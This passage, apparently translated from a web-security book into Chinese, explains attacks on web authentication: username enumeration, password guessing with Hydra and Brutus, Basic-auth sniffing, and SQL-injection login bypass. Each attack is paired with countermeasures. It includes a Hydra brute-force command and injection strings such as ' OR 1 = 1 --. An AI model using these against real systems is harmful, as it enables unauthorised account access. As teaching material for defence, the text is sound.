用户名枚举主要用于提高密码猜测的效率。这种方法避免将时间浪费在不存在的用户上。例如，如果你能够确定没有名为Alice的用户，就没有必要浪费时间去猜测Alice的密码。下面是一些可能让你确定用户名的Web应用常用功能的示例：

剖析结果：在第2章中，我们讨论了一些在网站中发现用户信息的场所，比如源代码注释。能干的攻击者总是检查剖析数据，因为这通常包含丰富的此类信息（在剖析信息中进行文本查找，寻找类似userid、username、user、usr、name、id和uid的字符串，通常能有所发现）。

在第8章中，我们还将讨论泄露用户名的常见网站结构——最明显的是服务供应商常常用于存放客户Web内容的按照用户命名的目录。

登录中的错误信息：确定用户名是否存在的一种简单技术是尝试使用无效的凭据向Web应用进行验证，然后检查生成的错误信息。例如，尝试使用用户名Alice和密码abc123向Web应用验证。你可能碰到下面所列出的三种错误信息之一，除非你确实猜对了密码：

·你输入了一个错误的用户名。

·你输入了一个错误的密码。

·你输入了错误的用户名/密码组合。

如果你接收到第一个错误信息，该应用不存在此用户，你不应该再浪费时间去猜测Alice的密码。但是，如果你接收到第二个错误信息，你已经发现系统上一个有效的用户，可以继续猜测密码。最后，如果你接收到第三个错误信息，就很难确定Alice是不是有效的用户名（这提示应用设计人员在自己的验证机制中使用第三种信息）。

一个好的例子是Computer Associates（CA）公司的Web验证产品SiteMinder所实现的登录功能，CA公司通过2004年11月对Netegrity的收购取得这项技术。使用SiteMinder，你可以通过评估错误页面来进行用户名枚举。如果输入了错误的用户名，网站会尝试装入nouser.html。如果输入有效的用户名和不正确的密码，网站会尝试装入failedlogin.html。

自助密码恢复功能中的错误信息：与刚刚讨论过的用户枚举漏洞相似，自助密码恢复（SSPR）功能也是用户枚举泄露漏洞的常见来源。SSPR是许多网站实现的一种功能，允许忘记密码或者无法验证的用户通过“自助服务”自己解决问题，最典型的实现是“忘记密码？”或者相似的链接，将新密码发给用户指定的电子邮件地址。该邮件地址通过备用机制“验证”用户，假定仅有出问题的用户能够访问该电子邮件账户读取新密码。

遗憾的是，以不安全的方式实现这一功能的应用常常会报告所提供的用户账户或者电子邮件地址是否有效。攻击者可以使用有效和无效的情况下不同的响应来检测账户是否存在。

除了用户枚举之外，在对SSPR请求的响应中随机地生成新密码也容易遭到拒绝服务（DoS）攻击。例如，特别恶意的攻击者可能创建一个脚本，重复地为每个发现的用户名请求新密码。如果请求重复的频率足够高，将会使目标账户被包含新密码的电子邮件淹没，使用户无法有足够的时间来使用新密码进行应用验证。

注册：许多Web应用允许用户在注册过程中选择自己的用户名。这为确定用户名提供了另一个方向。在注册过程中，如果你选择另一个已经存在的用户，就可能得到一个错误如“请选择其他用户名”。只要你选择的用户名符合应用的原则并且不包含任何无效字符，这个错误信息就可能象征着所选择的用户名已经注册。在作出选择时，人们往往根据真实姓名创建用户名。例如，Joel Scambray可能选择Joel、JoelS、JScambray等用户名。因此，攻击者可以很快地根据电话簿、人口普查数据和其他网上资源中找到的真实姓名生成一个常用用户名列表。可以部署CAPTCHA技术来帮助缓解这些攻击的风险。CAPTCHA的详细信息参见本章4.2.3节中“用户注册攻击”。

账户锁定：为了缓解密码猜测攻击的风险，许多应用在失败登录尝试一定次数之后会锁定账户。根据应用本身的风险，账户锁定阈值可能设置为3、5或者超过10次失败验证。许多高容量商业网站将锁定阈值设置得非常高（例如，100次失败的尝试）以应对与解锁用户账户相关的支持成本（越低的锁定阈值支持成本越高）；同样，在易用/支持和安全之间的平衡取决于应用所面对的特定风险。应用也常常在30分钟、1小时或者24小时之后自动解锁账户。这也是为了减少重置账户所需要的支持电话。这种对策有效地降低了密码猜测攻击的速度，好的密码策略就是安全性和可用性的良好平衡。

但是，账户锁定只对有效用户名有意义。怎么锁定不存在的账户？这正是许多应用实现不正确的地方。例如，如果账户锁定被设置为3，如果账户不存在，它会被锁定吗？如果不会，你可能就偶然地发现了一种确定无效账户的方法。如果你锁定了一个账户，下一次登录时，应该接收到一个错误信息。但是，大部分应用不跟踪无效的账户。最后，避免用户名枚举遭遇账户锁定的最佳方法是完全不告诉用户他已被锁定。但是这么做几乎肯定会使用户感到沮丧和恼怒。

有时候，账户锁定使用客户端功能如JavaScript或者隐藏标记实现。例如，可能有一个变量或者域代表登录尝试次数。通过修改客户端JavaScript或者使用代理直接发出登录操作可以很简单地绕过客户端账户锁定（Burp Suite repeater功能很适合做这个工作；在第2章中已经讨论过Burp Suite）和JavaScript。

定时攻击：如果其他方法都失败，定时攻击可能是受挫的攻击者的最后手段。如果你不能从错误信息、注册或者密码修改中枚举用户名，可以试试计算错误密码和用户名错误信息出现花费的时间。根据所实现的验证算法和使用的技术，各种响应（“错误用户名”和“错误密码”）花费的时间可能有显著的不同。观察响应时间的差异可以提供合法用户名和密码的线索。但是，为了使这种技术有效，这种差异必须足够大，以掩盖由于网络延时和负载引起的波动。记住，这种技术很可能制造大量的假警报。

在进入关于已知用户名的密码猜测的下一小节之前，我们应该提醒大家，尽管对允许攻击者确定用户名感到担心的安全专家已经提示了风险，但许多在线企业仍然接受这一做法。

密码猜测

密码猜测是用户名/密码验证方案的祸根，这一点都不令人吃惊。遗憾的是，这种方案在Web上很常见，从而成为了最基本的攻击技术的猎物。

密码猜测攻击的执行通常不考虑实际的验证协议。手工猜测总是可能的，当然，有一些自动化的客户端软件，能对最常用的协议执行密码猜测。我们接下来将讨论一些常见的密码猜测工具和技术。

手工密码猜测：密码猜测攻击既可以通过手工也可以通过自动方法进行。手工密码猜测很乏味，但是我们发现人类的直觉常常是最好的自动化工具，特别是使用自定义错误页面来响应失败的基于表单登录尝试时。在进行密码猜测时，我们最喜欢的选择如表4-1所示。

表4-1　猜测攻击中使用的常见用户名和密码（大小写不敏感）

虽然表4-1中的列表有限，但是很好地说明了应用中常用的弱密码类型。使用自动化工具，可以使用整个用户名/密码猜测字典，比手工输入要快得多。一次简单的搜索引擎查询就能找到网上广泛可用的许多字典，包括聚焦于某种应用、硬件或者设备的裁剪过的字典。

自动化密码猜测：自动化密码猜测有两种基本方法：深度优先和广度优先。深度优先算法尝试一个用户名的所有密码组合，然后尝试下一个用户名。这种方法可能很快触发账户锁定，因为在短时间里对相同的账户进行数百次的验证尝试。广度优先用相同密码尝试不同用户名的组合。因为不会连续对相同账户进行验证尝试，广度优先方法触发应用账户锁定机制的可能性较小。我们来看看一些当今的自动化Web密码猜测工具。

注意　自动化密码猜测可以对应用进行拒绝服务攻击。服务器上始终有不断增加的负载和锁定账户的风险。如果你是个攻击者，这种行为可能是有意的。但是如果你是测试者，应该确定是否有账户锁定并且相应地继续处理。

提示　如果密码策略合适并且强制执行，你可以将可能密码的集合减少为密码策略所允许的。例如，如果你知道密码策略只允许字母数字字符并且要求大小写字母的组合，就没有必要浪费时间在不包含数字的字典单词上。另一方面，如果你关注一个使用4位数字的ATM PIN作为密码的银行应用，就知道很有可能在大约5000次猜测中得到这一PIN/密码。

当今互联网上最常用的验证协议之一是HTTP基本验证。它最早在HTTP规范中定义，虽然它算不上巧妙，但也能胜任。基本验证有一些安全问题，这些问题都很好地在文档中记录（主要的问题是它以可简单解码的方式发送用户名/密码，并且在每个请求中都过于热心地发送这些凭据）。

当我们在咨询工作中遇到基本验证所保护的页面时，一般用Hydra来测试账户凭据强度。Hydra是一个简单的工具，采用用户名和密码（或者两者组合）的文本列表作为字典实施基本验证密码猜测。它以“HTTP 302 Object Moved”响应作为成功猜测的指示，寻找给定的用户名/密码文件中所有成功的猜测（也就是说，一旦找到第一个有效的账户就停止猜测）。下列示例显示Hydra在Windows上（通过Cygwin程序库）成功地猜测了一个HTTP基本验证密码。我们使用Hydra的-C选项来指定输入用户名/密码文件，攻击的是/secure目录（这在http-get参数之后指定）：

D:\Toolbox>hydra -C list.txt victim.com http-get /secure
Hydra v5.0 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2005-11-08 21:21:56
[DATA] 6 tasks, 1 servers, 6 login tries, ~1 tries per task
[DATA] attacking service http-get on port 80
[STATUS] attack finished for victim.com (waiting for childs to finish)
[80][www] host: 192.168.224.40 login: user password: guessme
Hydra (http://www.thc.org) finished at 2005-11-08 21:22:01

Hydra支持用http-head、http-get、https-head、https-get和http-proxy攻击Web应用。

WebCracker是一个较老的基于Windows的GUI应用，类似于Hydra，但是在我们的经验中不如Hydra那么容易定制。对于初学者或者进行账户密码强度的快速评估来说它是个很好的工具。图4-1显示WebCracker成功地猜测目标URL上的一些账户。

图4-1　WebCracker成功地猜测基本验证凭据

Brutus是一个通用密码猜测工具，它具备一些内建攻击例程，针对HTTP基本验证和基于表单的验证以及其他协议如SMTP和POP3。Brutus可以进行字典攻击（基于事先确定的单词列表如字典）以及暴力攻击（密码从给定的字符集如小写字母数字字符中随机生成）。图4-2显示进行一次基本验证密码猜测攻击之后的Brutus界面。

图4-2　Brutus密码猜测工具在19秒钟内猜测了4908个HTTP基本验证密码

Brutus也进行基于表单验证的攻击（我们将在4.1.2节中讨论）。令我们烦恼的一点是Brutus进行基于表单的攻击时不显示猜测过的密码。我们偶尔也发现它给出假结果，声称已经猜中了一个账户密码而实际上没有。但是，总体上对于密码猜测来说，Brutus的灵活性是罕有敌手的。

NTLM验证代理服务器：集成的Windows验证（以前称作NTLM验证和Windows NT质询/响应验证）在HTTP上使用专利的Microsoft NT LAN Manager（NTLM）验证算法。这种算法主要由Microsoft Internet Explorer浏览器和IIS Web服务器实现，但是也可用于其他流行的软件，如Mozilla的Firefox浏览器通过对简单和受保护的GSS-API协商机制（Simple and Protected GSS-API Negotiation Mechanism，SPNEGO）互联网标准（RFC 2478）的支持，与Kerberos、NTLM或者操作系统支持的其他验证协议（如Microsoft Windows上的SSPI，Linux、Mac OS X和其他实现SPNEGO的Unix类操作系统上的GSS-API）协商。安全评估工具中对NTLM验证的支持这些年来已经有了很大的改进，在Paros和Burp客户端代理中也均有这种支持。如果你选择的工具不支持NTLM，可以通过Dmitry Rozmanov开发的NTLM验证代理服务器（APS）来获得这一支持。

提示　实现APS的详细描述可在本书网站上找到：http://www.webhackingexposed.com/ntlm-aps.html.

密码猜测对策

对密码猜测最有效的对策是组合运用强密码策略和强账户锁定策略。在少数几次不成功的登录尝试之后，应用就应该锁定账户以限制这种攻击暴露出来的内容。但是必须意识到，实施激进的账户锁定策略的应用可能将自己暴露在拒绝服务攻击之下。瞄准这种应用的恶意攻击者可能尝试通过重复的失败验证尝试来锁定系统上的所有账户。许多应用开发人员选择的一种较好的折中方案是暂时锁定账户一小段时间，比如10分钟。这减慢了密码猜测的速度，从而妨碍密码猜测攻击的效率。使用强密码策略，大大降低了攻击者随机地猜中一个密码的可能性。超过8个字母数字字符的大密钥空间密码，加上强账户锁定策略，就能减缓密码暴力攻击所造成的暴露。

最近，许多知名的网站如eBay开始跟踪IP地址并与你的账户关联。例如，尝试从不常见的IP或者在特定时间窗口内从不同的IP访问你的账户可能触发更多的验证或者需求（如CAPTCHA）。这些技术设计用来避免分布式或者自动化猜测攻击。某些财务网站已经实现更加强大的需求，例如发送一个文本消息，带有一个与账户相关的确认码。之后，必须把这个确认码提供给Web应用才能成功地验证。

注意　许多Web验证方案没有集成账户锁定功能——你必须实现自己的逻辑。

还有，我们已经提到过，在基于表单的验证中自定义错误页面是挫败脚本小孩的一种可行方法。这能阻止攻击者使用通用工具猜测密码。

这种方法的一个变种是使用全自动区分计算机和人类的图灵测试（Completely Automated Public Turing Tests to Tell Computers and Humans Apart，CAPTCHA）来欺骗自动化密码猜测例程（我们将在本章稍后更详细地讨论CAPTCHA）。

最后，遭到攻击时的情况总是值得了解的。下面是来自遭到基本验证密码猜测工具攻击的服务器的一个简短W3C格式的日志片段示例。可以看到，用于执行暴力攻击的工具——Brutus作为user-agent字符串的一部分列出：

#Fields: c-ip cs-username cs-method cs-uri-query sc-status cs(User-Agent)
192.168.234.32 admin HEAD /test/basic - 401 Mozilla/3.0+(Compatible);Brutus/AET
192.168.234.32 test HEAD /test/basic - 401 Mozilla/3.0+(Compatible);Brutus/AET
192.168.234.32 root HEAD /test/basic - 401 Mozilla/3.0+(Compatible);Brutus/AET

验证错误被写入安全事件日志，所以我们建议定期监控，以发现可能的暴力攻击。验证错误时发生的不同类型日志的更多细节，请参见本章结尾处的附加链接。图4-3显示了基本验证密码猜测攻击之后典型的日志事件。

窃听和重放攻击

任何在网络传输中暴露凭据的验证协议都可能遭到窃听攻击，窃听攻击又被称为嗅探攻击（Sniffing attack），这个叫法来自于网络协议分析器的口头称呼（Sniffer）。重放攻击一般在窃听的基础上构建，是指攻击者使用捕获的凭据仿冒有效用户的身份。

遗憾的是，一些最流行的Web验证协议确实在网上暴露凭据。我们将在接下来的小节中讨论对流行Web验证协议的常见攻击。

基本验证：我们已经看到HTTP基本验证容易遭到密码猜测攻击。现在我们谈谈这个协议的另一个弱点。为了阐述我们的观点，首先为你介绍一点基本验证工作原理的背景知识。

图4-3对Windows IIS的密码猜测尝试导致这些事件写入安全日志

基本验证从客户没有提供任何验证凭据的情况下，向Web服务器提交一个对受保护资源的请求开始。在响应中，服务器将以一个拒绝访问信息作为响应，包含请求基本验证凭据的WWW-Authenticate首部。大部分Web浏览器包含通过提示用户输入用户名和密码自动处理这种请求的例程，如图4-4所示。注意，这是浏览器实例化的一个独立操作系统窗口，而不是HTML表单。

图4-4　Web浏览器提示用户基本验证

用户输入密码之后，浏览器重新发出请求，这次带有验证凭据。下面是原始HTTP（为了简洁而进行了编辑）中的一个典型基本验证交换。首先，这是对使用基本验证进行安全保护的资源的原始请求：

GET /test/secure HTTP/1.0

服务器以包含一个WWW-Authenticate:Basic首部的HTTP 401 Unauthorized（需要验证）消息应答：

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="luxor"

这导致客户端浏览器弹出一个类似图4-4的窗口。用户在窗口中输入用户名和密码并且点击OK，通过HTTP发送：

GET /test/secure HTTP/1.0
Authorization: Basic dGVzdDp0ZXN0

注意，客户端实际上只是重新发送相同请求，这次带有一个Authorization首部。如果凭据不正确，服务器再次响应“未授权”信息、指向请求资源的重定向或者资源本身，这取决于服务器实现。

等一下——用户名和密码在哪里？按照基本验证规范，验证凭据在客户端响应中的Authorization首部中传送，使用Base64算法编码。对Base64不熟悉的人们乍一看可能以为是某种加密，因为编码方式难以理解。但是，因为Base64是一种编码，使用任何可用的实用程序或者脚本语言就可以很简单地解码这些编码值。这里提供一个示例Perl脚本，来说明操纵Base64有多么容易：

#!/usr/bin/perl
# bd64.pl
# decode from base 64
use MIME::Base64;
print decode_base64($ARGV[0]);

我们在前面的基本验证示例中看到的编码值上运行这个bd64.pl解码器：

C:\bd64.pl dGVzdDp0ZXN0
test:test

你能看到，尽管Authorization首部中发送的值有谜一般的特性，基本验证仍为窃听攻击大开方便之门，这是该协议最致命的局限。使用HTTPS时，情况略有好转。但是，与基本验证关联的客户端风险仍然存在，因为没有不活跃超时或者在不关闭浏览器的情况下注销的机制。

摘要：摘要验证在RFC2617中描述，设计用于提供比基本验证更高级别的安全性。摘要验证基于质询-响应验证模式。这种技术常用于证明某人知道一个秘密，但是不需要此人通过暴露在窃听攻击中的不安全信道发送这个秘密。

摘要验证的工作方式与基本验证类似。用户发起一个不带验证凭据的请求，Web服务器用指明需要凭据访问请求资源的WWWAuthenticate首部响应。但是，服务器不发送和基本验证一样的Base64编码用户名和密码，而是询问客户一个随机值（称为Nonce）。然后浏览器使用单向加密函数创建用户名、密码、给定随机值、HTTP方法以及请求的URI的消息摘要。消息摘要函数又称散列算法（Hashing algorithm），是在一个方向上很容易计算，而在另一个方向上不可能计算的加密函数。这种散列方法与基本验证所用的可以简单解码的Base64编码形成了对比。服务器质询中可以指定任何散列算法，RFC 2617描述中默认的算法是MD5散列函数。

为什么要有随机数？为什么不直接计算用户密码的Hash？与其他加密协议中随机数的用处有所不同，摘要验证中随机数的使用与密码方案中加入的“盐”相似。它用于创建更大的密钥空间，使得对常见密码进行数据库或者预先计算攻击更加困难。考虑一下能够存储字典中所有单词的MD5 hash值的大型数据库和少于10个字母数字字符的所有排列。攻击者只要计算MD5 hash一次，后面就可以对数据库作一次查询来寻找与MD5 hash关联的密码。使用随机值有效地增加了密钥空间，存储许多用户的预先计算Hash密码需要比原来大得多的数据库，这使数据库攻击变得低效。

摘要验证对于基本验证有显著的改进，主要是因为网上没有传递明文的验证凭据。这使得摘要验证比基本验证更能抵御窃听攻击。但是，摘要验证仍然容易遭到重放攻击，因为即使缺少用户的实际密码，响应中的消息摘要都将对请求资源进行授权。但是，因为原始资源请求包含在消息摘要中，重放攻击只能允许访问特定的资源（假定摘要验证已经正确地实现）。

RFC 2617中描述了其他针对摘要验证的可能攻击。

注意　Microsoft的摘要验证实现要求服务器具有明文版本的用户密码的访问权，才能计算摘要。因此，在Windows上实现摘要验证需要用户密码使用可逆加密存储，而不是使用标准的单向MD4算法。

对于喜欢修补的人，下面是一个使用来自Neil Winton的Digest::MD5 Perl模块的简短脚本，可以生成MD5 hash：

#!/usr/bin/perl
# md5-encode.pl
# encode using MD5
use Digest::MD5 qw(md5_hex);
print md5_hex($ARGV[0]);

这个脚本以16进制格式输出MD5 hash，但是你也可以在第4行的合适位置替换为qw（md5）或qw（md5_base64），输出二进制或者Base64。这个脚本可以为比较摘要验证字符串和已知值（比如破解）提供一个初级工具，但是除非用户名、随机值、HTTP方法以及请求的URI都已知，否则这种努力可能颗粒无收。

Gregory Duchemin提供了一个有趣的MD5 hash破解工具MDcrack（链接参见本章结尾处的“参考与延伸阅读”）。

窃听对策

使用128位SSL加密能够阻碍这些攻击，强烈建议所有使用基本验证和摘要验证的网站使用这种加密。

为了对抗重放攻击，摘要随机值可以从难以伪造的信息中建立，比如客户端IP地址和时间戳的摘要。

基于表单验证攻击

与我们目前讨论过的机制相比，基于表单的验证不依赖于基本Web协议如HTTP支持的功能（如基本验证或者摘要验证）。这是一种高度自定义的使用表单的验证机制，表单通常由带有FORM标记和描述输入域的INPUT标记的HTML组成，用户通过输入域输入用户名和密码。用户凭据通过HTTP或者HTTPS发送之后，由某些服务器端逻辑进行评估，如果有效，返回给用户某种具有足够长度、复杂性和随机性的令牌，供用户在以后的请求中使用。因为高度可自定义和灵活的特性，基于表单的验证可能是互联网上最流行的验证技术。但是，因为它不依赖标准化的HTTP验证规范，也就没有执行基于表单验证的标准化方式。

现在介绍一个简单的基于表单验证示例，借以阐述其基本原则。虽然这个示例为了简单而基于Microsoft ASP.NET表单验证，但是我们将说明通用于所有表单验证类型的关键点。下面是示例的场景：你有一个包含文件default.aspx的目录，这个文件访问前需要表单验证。为了实现ASP.NET表单验证，需要两个其他文件：这个目录（或者应用根目录）中的web.config文件，以及取得用户名/密码输入的登录表单（称作login.aspx）。login.aspx指定受到表单验证保护的资源，并包含用户名和密码的列表，可用于查询验证用户在login.aspx中输入的凭据。当然，可以使用任何用户名/密码信息来源——例如，SQL数据库。建议存储加入“盐”的密码Hash来代替原始密码，以降低暴露密码的风险，并且加大基于字典的攻击的难度。下面是有人请求default.aspx时所发生的事情：

GET /default.aspx HTTP/1.0

因为web.config文件指定这个目录中的所有资源需要表单验证，服务器以HTTP 302重定向到登录页面——login.aspx作为响应：

HTTP/1.1 302 Found
Location: /login.aspx?ReturnUrl=%2fdefault.aspx

客户现在看到login.aspx表单，如图4-5所示。

这个表单包含一个隐含域“state”，以及两个可见的域：取得用户名输入的“txtUser”域和取得密码输入的“txtPassword”域。这些域都用HTML INPUT标记实现。用户输入用户名和密码并点击Login按钮，将表单数据（包含隐含域）传回给服务器：

POST /login.aspx?ReturnUrl=%2fDefault.aspx HTTP/1.0
STATE=gibberish&txtUser=test&txtPassword=test

图4-5　ASP.NET实现的一个标准登录表单

应该始终使用POST方法来代替GET动作发送用户名和密码，但是两种动作所完成的工作一样。偏爱POST的原因是避免在客户端（浏览器历史中）、缓冲中继设备如代理等、以及远程应用服务器上验证凭据的不安全存储，因为这些系统常常由于统计或者性能的原因缓冲或者记录HTTP GET数据。这些普通的机制可能导致存储在GET请求中的用户验证凭据因为疏忽而暴露给未授权用户。

注意，正如这里所看到的情况，除非实施SSL，否则穿越网络的凭据是明文形式。服务器接收凭据数据并且用web.config中（同样，这可以是任何自定义的数据存储）的用户名/密码进行验证。如果凭据匹配，服务器将返回“HTTP 302 Found”和一个将客户重定向回原来请求的资源（default.aspx）的Location首部，以及包含验证令牌的一个Set-Cookie首部：

HTTP/1.1 302 Found
Location: /Default.aspx
Set-Cookie: AuthCookie=45F68E1F33159A9158etc.; path=/
htmlheadtitleObject moved/title/headbody

注意，这里的cookie用3DES加密，这可以在ASP.NET的web.config文件中指定。现在客户重新请求原始资源default.aspx，使用自动附加到HTTP首部的新设验证令牌（cookie）：

GET /Default.aspx HTTP/1.0
Cookie: AuthCookie=45F68E1F33159A9158etc

服务器验证cookie有效，然后用HTTP 200 OK消息提供资源。所有301和302重定向都在后台透明进行，并不通知最终用户。最终结果：用户请求资源，要求提供用户名/密码，如果输入正确的凭据将接收到资源（不正确则得到自定义的错误页面）。应用可能选择提供一个“注销”按钮，当用户点击时删除cookie。cookie也可以设置为在一定的时间内过期，这时服务器认为它不再有效（例如不活跃或者最大会话长度超时）。

同样，这一示例使用特殊的端到端技术——ASP.NET表单验证来演示表单验证的基本原理。可以使用任何其他相似的技术或者技术组合获得同样的结果。

和目前讨论的其他验证技术相似，基于表单的验证也是密码猜测攻击的目标。我们喜欢使用Brutus（本章前面已作介绍）来攻击基于表单的验证，主要是因为它的Modify Sequence（修改顺序）|Learn Form Settings（学习表单设置）功能。这种功能允许用户指定指向登录表单的URL，Brutus自动分析出用户名、密码和表单支持的其他域（包括隐含域）。图4-6展示了HTML表单翻译器。

图4-6　Brutus的HTML表单翻译器解析一个登录表单，高亮显示域用于后续攻击

Brutus还使你能指定成功验证时期望从登录表单得到的响应。这种能力很重要，因为表单验证的高度可自定义特性，网站常常会为成功和不成功的登录实现独特的响应页面。使用Brutus工具，你可以自定义密码猜测为特定的目标网站使用的任何响应。显然，如果验证信道没有用HTTPS或者其他加密协议加密，基于表单的验证也很容易遭到窃听和重放攻击。

基于表单验证几乎总是使用会话cookie临时存储验证令牌，所以用户访问网站不需要在每次请求的时候重复提供验证凭据。会话cookie只存储在内存中，和存储在磁盘并且在不同会话中维持的持续性cookie相反。cookie有时候可能被操纵或者完全被窃取，如果没有加密，可能泄露不合适的信息（注意，在我们的示例中ASP.NET配置为使用3DES加密cookie）。更多关于攻击cookie的内容参见第5章。

Secure和HTTPOnly这两个cookie属性标志标志在发出包含敏感信息的会话或者持续性cookie时很重要（理想状态下，敏感信息绝不应该存储在cookie中，如果需要，这些信息始终应该加密）。当发出的cookie带有secure标志时，支持这个属性的客户浏览器绝不会从非HTTPS安全信道上发送这个cookie。HTTPOnly标志最早由Microsoft创建，这是保护用户免遭针对应用cookie中敏感数据的会话劫持和数据渗漏攻击的一次正确的尝试。支持HTTPOnly的客户浏览器将不允许JavaScript访问相应cookie中的数据，即使这种访问符合同源策略。HTTPOnly被认为是阻止会话ID和其他敏感值因恶意脚本注入攻击（例如XSS）而轻易泄露的一种破损安全手段。但是，一旦攻击者能够在目标应用中执行恶意脚本，不管是否可以直接访问会话cookie，都能自由地在受害用户的安全上下文中执行任何操作。通常，这可以通过创建一系列执行敏感功能的后台异步请求（XmlHttpRequest）来实现。尽管安全社区中对这一保护机制的整体有效性存在争议，但是鼓励开发人员尽可能使用这一功能，作为应用防御中的附加层次。也就是说，应用开发人员优先考虑的应该总是首先去除导致恶意脚本注入攻击的输入校验漏洞。更多关于secure和HTTPOnly cookie属性的内容可以在本章结尾处的“参考与延伸阅读”中找到。

一些应用开发人员错误地臆测表单“隐含”的HTML输入域中对用户隐藏的数据对最终用户来说不可见。他们可能会粗心地将敏感的验证凭据或者其他数据放入这些域，而不是依赖基于cookie的会话ID验证用户的特定事务。虽然这种情况不经常出现，但是应用安全评估人员应该训练自己密切注意存储在隐含域中的数据类型。

绕过SQL支持的登录表单：在执行具备SQL后端的基于表单验证的网站上，SQL注入可能被用来绕过验证（关于SQL注入技术的更具体细节参见第6章）。许多网站使用数据库存储密码并且使用SQL查询数据库来验证凭据。典型的SQL语句看上去如下所示（这个示例因为页宽约束而分为两行）：

SELECT * from AUTHENTICATIONTABLE WHERE Username = 'username input' AND
Password = 'password input'

如果输入校验没有正确实现，在用户名域注入

Username' --

将使SQL语句变成：

SELECT * from AUTHENTICATIONTABLE WHERE Username = 'Username'
--AND Password = 'password input'

SQL语句最后的破折号指定余下的SQL语句是应该被忽略的注释。这条语句等价于：

SELECT * from AUTHENTICATIONTABLE WHERE Username = 'Username'

这就对了！密码检查像变魔术般地被删除了！

这种通用攻击和许多对基于表单验证的攻击一样，不需要根据网站做太多定制。我们已经发现了地下黑客组织自动化这种攻击的工具。

为了将攻击提高一个层次，SQL注入也可以在密码域上进行。假定使用相同的SQL语句，使用密码：

DUMMYPASSWORD' OR 1 = 1 --

将得到下面的SQL语句（这个示例因为页宽约束而分为两行）：

SELECT * from AUTHENTICATIONTABLE WHERE Username = 'Username'
AND Password = 'DUMMYPASSWORD' OR 1 = 1 -- '

在语句SQL语句的最后加上OR 1=1将总是得到真（True）的结果，验证再次被绕过。

在2001年中期，许多Web验证软件包被发现有相似的问题。Apache mod_auth_mysql、oracle、pgsql和pgsql_sys构建SQL查询，没有检查单引号（这些漏洞在德国斯图加特大学的CERT公告中进行了描述；连接参见本章结尾处的“参考与延伸阅读”）。

绕过LDAP支持的登录表单：不是所有应用都集成了具有后端SQL数据库服务器的验证组件。许多Web应用，尤其是在集团内部网中的应用，使用基于轻量目录访问协议（LDAP）的服务器来提供相似的验证能力。如果编码不安全，这些应用可能暴露出LDAP注入漏洞，这种漏洞可能被利用来绕过验证控制。虽然用于利用这些漏洞的语法与SQL注入不同，但是基本概念相同。关于LDAP注入攻击的更多信息在本书第6章中可以看到，有兴趣的读者可以参考该章获得进一步信息。

绕过XML支持的登录表单：虽然不如SQL支持和LDAP支持验证那么常见，仍有一些应用依赖于静态的XML文件存储应用用户数据和登录凭据。和SQL及LDAP一样，不能正确验证用户所提供凭据的应用可能暴露漏洞，使攻击者能绕过常规的验证控制。经典的例子是使用验证期间提供的用户名构建XPath查询，从后端XML文档查询相关记录的应用。如果用户名中在XPath查询中具有特殊意义的字符没有被正确验证，攻击者就可能修改查询返回任意记录，而不管是否提供正确密码。更具体的XML和XPath注入的示例可在第7章中找到。

基于表单验证攻击的对策

我们前面讨论的密码猜测、窃听和重放攻击的对策对基于表单验证同样是适用的。

预防SQL注入和其他注入攻击的最佳方法是执行输入校验（参见第6章）以及使用参数化的SQL查询或者参数化存储过程。应该执行输入校验以确保用户名不包含无效的字符。HTML标记字符、空白和特殊字符如！、$、%等应该尽可能禁止。使用存储过程时应该注意安全编码，这样就不会简单地将SQL注入漏洞从应用移到数据库过程。一般的规则是，开发人员应该避免使用动态构造的SQL查询，特别是这些查询包含了用户提供的输入时。

预防XML和LDAP注入攻击通过强输入校验来完成，这种校验避免使用在两种技术中具有特殊意义的字符。在不可能完全禁止使用这些特殊字符时，必须特别小心，在执行依靠后端数据存储的验证时，正确地脱离验证凭据，使用合适的API。

我们还要给出一个忠告，确保Web应用使用的所有软件包都应用最新的补丁，更新到最新版本。让表单避开针对你所定制的代码的攻击是一回事，当你的免费或者商业验证软件包出现相同问题时就完全是另一回事了。

4.1.2　（更）强的Web验证

很明显，在当今Web上居于统治地位的基于用户名/密码的验证机制有其缺点。有什么备用的方案吗？这些备用方案是否也有弱点？

密码仅仅是单因素的——用户所知的某件事情。密码一般也是非常低信息量的凭据，使得密码猜测成为可能。更糟的是，这些密码往往在多个不同的应用中重用。因此，降低基于密码验证风险的主要方法是转移到多因素验证，更好地使用较高信息量的凭据。我们将讨论一些经典的和正在进入当今市场的新方法。这些新方法标志着Web验证的革新，具有更强的功能对抗日益兴起的网络诈骗风险（如网络仿冒，关于网络仿冒的更多信息参见第9章）。

数字证书

证书验证强于任何我们目前讨论过的验证方法。证书验证使用公钥加密和数字证书来验证用户，可以用在其他基于密码的验证方案上，提供更强大的安全性。证书的使用被看作是双因素验证的一种实现。除了你所知道的某种事物（你的密码）之外，你必须用你所拥有的某种事物（你的证书）进行验证。证书可以存储在硬件（如智能卡）中来提供更高级的安全性——访问以这种方式保护的网站必须拥有物理令牌和合适的智能卡阅读器。

客户证书提供更强的安全性，但是需要成本。获得证书、分发证书和管理客户证书的难度使得这种方法对于大网站来说非常昂贵。但是，拥有非常敏感数据或者有限用户基础的网站，比如常见的企业间（B2B）应用，将从证书的使用中大大获益。

目前没有已知的针对基于证书验证的攻击，使得私有证书仍能得到保护。但是，如果系统无法根据证书吊销列表（CRL）检查证书有效性，就可能错误地允许撤销的被盗证书的使用。当然，如果攻击者能够侵入PKI基础架构本身，那么绕过常规证书验证控制是有可能的。正如在第1章中所见，许多Web入侵工具（如Paros和Burp客户端代理）支持基于证书的验证。

SiteKey

PassMark Security公司创立于2004年，关注金融服务市场中的强验证，在2005年年底，他们声称有1500万客户受到他们的PassMark技术的保护。这个结果可能几乎完全归功于2005年中期美国银行（Bank of America）实施PassMark技术来保护他们的1300万网上银行客户。BofA将他们的实现称为“SiteKey”。2006年RSA Data Security收购了PassMark。

PassMark/SiteKey基于双因素、“双向”的验证。它使用由用户密码和关于用户验证所在设备信息组成的双因素验证（可以登记多个设备）。为了实现双向验证，用户在登录过程中得到用于验证网站的秘密信息。

